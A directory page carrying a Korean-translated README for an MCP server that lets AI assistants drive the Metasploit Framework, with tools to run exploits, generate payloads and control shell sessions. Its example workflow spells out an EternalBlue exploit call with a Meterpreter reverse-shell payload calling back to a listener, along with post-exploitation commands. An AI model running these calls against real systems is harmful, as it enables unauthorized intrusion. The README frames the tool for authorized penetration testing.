Skip to main content
Glama

메타스플로잇 MCP 서버

Metasploit Framework 통합을 위한 MCP(Model Context Protocol) 서버.

https://github.com/user-attachments/assets/39b19fb5-8397-4ccd-b896-d1797ec185e1

설명

이 MCP 서버는 Claude와 같은 대규모 언어 모델과 Metasploit Framework 침투 테스트 플랫폼을 연결하는 다리 역할을 합니다. AI 지원 담당자가 표준화된 도구를 통해 Metasploit 기능에 동적으로 접근하고 제어할 수 있도록 지원하여 복잡한 보안 테스트 워크플로에 자연어 인터페이스를 제공합니다.

Related MCP server: MSFConsole MCP Server

특징

모듈 정보

  • list_exploits : 사용 가능한 Metasploit 익스플로잇 모듈을 검색하고 나열합니다.

  • list_payloads : 선택적 플랫폼 및 아키텍처 필터링을 통해 사용 가능한 Metasploit 페이로드 모듈을 검색하고 나열합니다.

악용 워크플로

  • run_exploit : 먼저 검사를 실행하기 위한 옵션을 사용하여 대상에 대한 익스플로잇을 구성하고 실행합니다.

  • run_auxiliary_module : 사용자 정의 옵션을 사용하여 Metasploit 보조 모듈을 실행합니다.

  • run_post_module : 기존 세션에 대해 사후 공격 모듈 실행

페이로드 생성

  • generate_payload : Metasploit RPC를 사용하여 페이로드 파일을 생성합니다(파일을 로컬에 저장)

세션 관리

  • list_active_sessions : 자세한 정보와 함께 현재 Metasploit 세션을 표시합니다.

  • send_session_command : 활성 셸 또는 Meterpreter 세션에서 명령을 실행합니다.

  • terminate_session : 활성 세션을 강제로 종료합니다.

핸들러 관리

  • list_listeners : 모든 활성 핸들러 및 백그라운드 작업을 표시합니다.

  • start_listener : 연결을 수신하기 위한 새로운 멀티/핸들러를 생성합니다.

  • stop_job : 실행 중인 작업이나 핸들러를 종료합니다.

필수 조건

  • Metasploit Framework가 설치되고 msfrpcd가 실행 중입니다.

  • Python 3.10 이상

  • 필수 Python 패키지(requirements.txt 참조)

설치

  1. 이 저장소를 복제하세요

  2. 종속성 설치:

    지엑스피1

  3. 환경 변수 구성(선택 사항):

    MSF_PASSWORD=yourpassword
    MSF_SERVER=127.0.0.1
    MSF_PORT=55553
    MSF_SSL=false
    PAYLOAD_SAVE_DIR=/path/to/save/payloads  # Optional: Where to save generated payloads

용법

Metasploit RPC 서비스를 시작합니다.

msfrpcd -P yourpassword -S -a 127.0.0.1 -p 55553

운송 옵션

서버는 두 가지 전송 방법을 지원합니다.

  • HTTP/SSE(Server-Sent Events) : 대부분의 MCP 클라이언트와의 상호 운용성을 위한 기본 모드

  • STDIO(표준 입력/출력) : Claude Desktop 및 유사한 직접 파이프 연결과 함께 사용됨

--transport 플래그를 사용하여 전송 모드를 명시적으로 선택할 수 있습니다.

# Run with HTTP/SSE transport (default)
python MetasploitMCP.py --transport http

# Run with STDIO transport
python MetasploitMCP.py --transport stdio

HTTP 모드에 대한 추가 옵션:

python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085

Claude 데스크톱 통합

Claude Desktop 통합을 위해 claude_desktop_config.json 구성합니다.

{
    "mcpServers": {
        "metasploit": {
            "command": "uv",
            "args": [
                "--directory",
                "C:\\path\\to\\MetasploitMCP",
                "run",
                "MetasploitMCP.py",
                "--transport",
                "stdio"
            ],
            "env": {
                "MSF_PASSWORD": "yourpassword"
            }
        }
    }
}

다른 MCP 클라이언트

HTTP/SSE를 사용하는 다른 MCP 클라이언트의 경우:

  1. HTTP 모드로 서버를 시작합니다.

    python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085
  2. MCP 클라이언트를 다음에 연결하도록 구성하세요.

    • SSE 엔드포인트: http://your-server-ip:8085/sse

보안 고려 사항

⚠️ 중요 보안 경고 :

이 도구는 강력한 익스플로잇 기능을 포함한 Metasploit Framework 기능에 직접 액세스할 수 있도록 합니다. 보안 테스트를 수행할 수 있는 명시적인 권한이 있는 환경에서만 책임감 있게 사용하십시오.

  • 실행하기 전에 항상 모든 명령을 검증하고 검토하세요.

  • 분리된 테스트 환경이나 적절한 권한이 있는 경우에만 실행하세요.

  • 사후 공격 명령으로 인해 시스템에 상당한 수정이 발생할 수 있음을 알아 두십시오.

예제 워크플로

기본 착취

  1. 사용 가능한 익스플로잇 목록: list_exploits("ms17_010")

  2. 익스플로잇을 선택하고 실행합니다: run_exploit("exploit/windows/smb/ms17_010_eternalblue", {"RHOSTS": "192.168.1.100"}, "windows/x64/meterpreter/reverse_tcp", {"LHOST": "192.168.1.10", "LPORT": 4444})

  3. 세션 목록: list_active_sessions()

  4. 명령 실행: send_session_command(1, "whoami")

착취 이후

  1. 게시 모듈 실행: run_post_module("windows/gather/enum_logged_on_users", 1)

  2. 사용자 정의 명령 보내기: send_session_command(1, "sysinfo")

  3. 완료되면 종료: terminate_session(1)

핸들러 관리

  1. 리스너 시작: start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444)

  2. 활성 핸들러 나열: list_listeners()

  3. 페이로드 생성: generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444})

  4. 핸들러 중지: stop_job(1)

구성 옵션

페이로드 저장 디렉토리

기본적으로 generate_payload 로 생성된 페이로드는 홈 폴더의 payloads 디렉터리( ~/payloads 또는 C:\Users\YourUsername\payloads )에 저장됩니다. PAYLOAD_SAVE_DIR 환경 변수를 설정하여 이 위치를 사용자 지정할 수 있습니다.

환경 변수 설정:

  • 윈도우(PowerShell) :

    $env:PAYLOAD_SAVE_DIR = "C:\custom\path\to\payloads"
  • Windows(명령 프롬프트) :

    set PAYLOAD_SAVE_DIR=C:\custom\path\to\payloads
  • 리눅스/맥OS :

    export PAYLOAD_SAVE_DIR=/custom/path/to/payloads
  • Claude Desktop 구성에서 :

    "env": {
        "MSF_PASSWORD": "yourpassword",
        "PAYLOAD_SAVE_DIR": "C:\\your\\actual\\path\\to\\payloads"  // Only add if you want to override the default
    }

참고: 사용자 지정 경로를 지정하는 경우, 해당 경로가 존재하는지 또는 애플리케이션에 해당 경로를 생성할 권한이 있는지 확인하세요. 경로가 유효하지 않으면 페이로드 생성이 실패할 수 있습니다.

특허

아파치 2.0

A
license - permissive license
Not graded
quality - not tested
F
maintenance

Maintenance

Maintainers
Response time
Release cycle
Releases (12mo)
Commit activity
Issues opened vs closed

Resources

Unclaimed servers have limited discoverability.

Looking for Admin?

If you are the server author, to access and configure the admin panel.

Related MCP Servers

  • -
    license
    Not graded
    quality
    Not graded
    maintenance
    Enables AI assistants to interact with Metasploit Framework through 28 comprehensive tools for penetration testing and security analysis. Provides secure, structured access to MSF modules, database operations, session management, and payload generation capabilities.
    2
  • A
    license
    Not graded
    quality
    D
    maintenance
    Bridges large language models with the Metasploit Framework to enable natural language control over penetration testing workflows. It provides tools for searching modules, executing exploits, generating payloads, and managing active sessions.
    1
    Apache 2.0
  • F
    license
    Not graded
    quality
    D
    maintenance
    Provides AI assistants with secure access to Metasploit Framework functionality through a standardized interface, enabling commands, exploit search, module info, and scanning.
    2

View all related MCP servers

Related MCP Connectors

  • MCP server for Pentest-Tools.com: run scans, manage findings and reports via your preffered LLM.

  • MEOK MCP Hardening MCP — automated security red-team for any MCP server. Maps OWASP LLM Top 10

  • A comprehensive Model Context Protocol (MCP) server that enables AI assistants to interact with yo…

View all MCP Connectors

Latest Blog Posts

MCP directory API

We provide all the information about MCP servers via our MCP API.

curl -X GET 'https://glama.ai/api/mcp/v1/servers/GH05TCREW/MetasploitMCP'

If you have feedback or need assistance with the MCP directory API, please join our Discord server